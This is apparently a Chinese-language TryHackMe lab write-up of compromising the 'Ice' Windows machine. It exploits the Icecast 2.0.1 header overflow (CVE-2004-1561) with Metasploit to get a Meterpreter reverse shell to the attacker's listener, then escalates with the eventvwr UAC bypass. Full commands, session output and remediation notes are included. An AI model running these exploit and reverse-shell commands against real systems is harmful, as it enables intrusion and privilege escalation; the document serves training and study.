TryHackMe 的 Ice 靶机完全攻陷 — 通过缓冲区溢出利用 Icecast 2.0.1 远程代码执行漏洞(CVE-2004-1561),随后通过 UAC 绕过 / COM 劫持实现 Windows 权限提升。包含详细的方法论与修复建议。
平台: TryHackMe 目标系统: Windows 7 / Windows Server 2008 R2 难度: 简单 类别: 缓冲区溢出(RCE)、本地权限提升
本报告记录了 TryHackMe 上 Ice 机器的完整攻陷过程,从初始侦察到 SYSTEM 级权限提升。目标主机运行着过时的 Icecast 2.0.1 流媒体服务器,存在远程缓冲区溢出漏洞(CVE-2004-1561),可通过精心构造的 HTTP 请求头执行任意代码。初始访问是通过 Meterpreter 反向 shell 以低权限用户身份获得的。随后,通过滥用 Windows COM 对象劫持漏洞(bypassuac_eventvwr),利用自动提升权限的二进制文件以及 HKCU 下的注册表项重定向,实现了向 NT AUTHORITY\SYSTEM 的权限提升。
| 阶段 | 技术 | 结果 |
|---|---|---|
| 侦察 | arp-scan、nmap | 识别出主机及 7 个开放端口 |
| 初始访问 | Icecast HTTP 请求头缓冲区溢出(CVE-2004-1561) | 以本地用户身份获取 Meterpreter 会话 |
| 权限提升 | bypassuac_eventvwr(COM/注册表劫持) | SYSTEM shell |
使用 ARP 扫描识别目标在本地网络中的 IP 地址。
arp-scan -l

目标主机地址为 192.168.37.138。
对目标执行了带服务/版本探测的全量 SYN 扫描:
nmap -sS -sV 192.168.37.138
结果:
主机指纹识别为 DARK-PC,一台 Windows 机器。运行 Icecast 的 8000 端口是最有前景的攻击面——它不是标准的 Windows 服务,且已知存在历史 CVE 漏洞。
搜索已知的 Icecast 漏洞后发现 CVE-2004-1561:
Icecast 2.0.1 及更早版本中存在缓冲区溢出漏洞,远程攻击者可通过发送包含大量请求头的 HTTP 请求来执行任意代码。
确认存在匹配的 Metasploit 模块:
search CVE-2004-1561

exploit/windows/http/icecast_header 2004-09-28 great No Icecast Header Overwrite
Icecast 2.0.1 未能正确地对所处理的 HTTP 请求头数量进行边界检查。当发送的请求头数量超过服务器缓冲区所能容纳的上限时,多余的数据会溢出到相邻内存,覆盖预留的请求头解析缓冲区之外的数据。
具体而言,溢出会破坏栈上的保存的返回地址(EIP)——即 CPU 在请求处理函数返回后将要跳回的地址。攻击者通过控制该地址,可以将执行流重定向到攻击者提供的 shellcode,而非合法的返回点,从而以 Icecast 进程的上下文执行任意代码。
use exploit/windows/http/icecast_header
set RHOSTS 192.168.37.138
set RPORT 8000
set LHOST 192.168.37.133
set LPORT 4444

exploit
[*] Started reverse TCP handler on 192.168.37.133:4444
[*] Sending stage (177734 bytes) to 192.168.37.138
[*] Meterpreter session 1 opened (192.168.37.133:4444 -> 192.168.37.138:49181)
以低权限用户身份建立了 Meterpreter 会话。
在会话激活后,使用 Metasploit 内置的 suggester 来识别目标在当前补丁级别下可行的本地权限提升路径:
use post/multi/recon/local_exploit_suggester
set SESSION 1
run

多个模块被标记为可能可行,其中包括针对未打补丁的 Windows 7 / Server 2008 R2 主机的 bypassuac_eventvwr。
该权限提升路径滥用了 Windows 的 COM(组件对象模型) 架构,该架构允许用不同语言编写的组件互操作。COM 对象通常依赖共享的 DLL,系统通过注册表路径(包括存储在当前用户 HKCU 配置单元下的路径)来解析某个 COM 对象应加载哪个 DLL。
eventvwr.exe 是一个自动提升权限的 Windows 二进制文件(在默认 UAC 配置下,由于其清单设置,它会静默触发 UAC 提升提示而不显示提示本身)。运行时,它会查询 HKCU 以解析 COM 对象并加载其关联的 DLL。
该利用程序劫持了这一查找过程:它在当前用户的 HKCU 配置单元下写入一个恶意注册表项,使 COM 解析指向攻击者控制的载荷,而非合法的系统 DLL。由于 eventvwr.exe 会自动提升权限,它所触发的载荷(此处为命令 shell)将按照 eventvwr.exe 所提升到的完整性级别执行,从而将会话从标准用户提升到更高权限的上下文,且全程不显示可见的 UAC 提示。
use exploit/windows/local/bypassuac_eventvwr
set SESSION 1
set LHOST 192.168.37.133
set LPORT 4444
exploit

[*] UAC is enabled, checking level...
[+] Part of Administrators group! Continuing...
[*] BypassUAC can bypass this setting, continuing...
[*] Configuring payload and stager registry keys ...
[*] Executing payload: C:\Windows\SysWOW64\eventvwr.exe
[*] Meterpreter session 2 opened (192.168.37.133:4444 -> 192.168.37.138:49180)
[*] Cleaning up registry keys ...
C:\Windows\system32>
随后打开了一个具有提权 shell 的第二个 Meterpreter 会话,直接落入 C:\Windows\system32,确认权限提升成功。
| # | 发现 | 严重程度 | CVE / 参考 |
|---|---|---|---|
| 1 | Icecast 2.0.1 HTTP 请求头缓冲区溢出导致远程代码执行 |
eventvwr.exe 自动提升滥用已在后续 Windows 版本中得到修复;该攻击对已完全更新的现代 Windows 版本无效。arp-scan、nmap — 侦察Metasploit Framework(msfconsole)— 漏洞利用与后渗透Meterpreter — 后渗透 shell| 端口 | 服务 | 版本 |
|---|
| 135/tcp | msrpc | Microsoft Windows RPC |
| 139/tcp | netbios-ssn | Microsoft Windows netbios-ssn |
| 445/tcp | microsoft-ds | Windows 7–10 (workgroup: WORKGROUP) |
| 5357/tcp | http | Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 8000/tcp | http | Icecast 流媒体服务器 |
| 49152–49157/tcp | msrpc | Microsoft Windows RPC |
| CVE-2004-1561 |
| 2 | 通过 COM/注册表劫持绕过 UAC(eventvwr.exe 自动提升) | 高 | Windows 7/Server 2008 R2 已知的 UAC 设计缺陷 |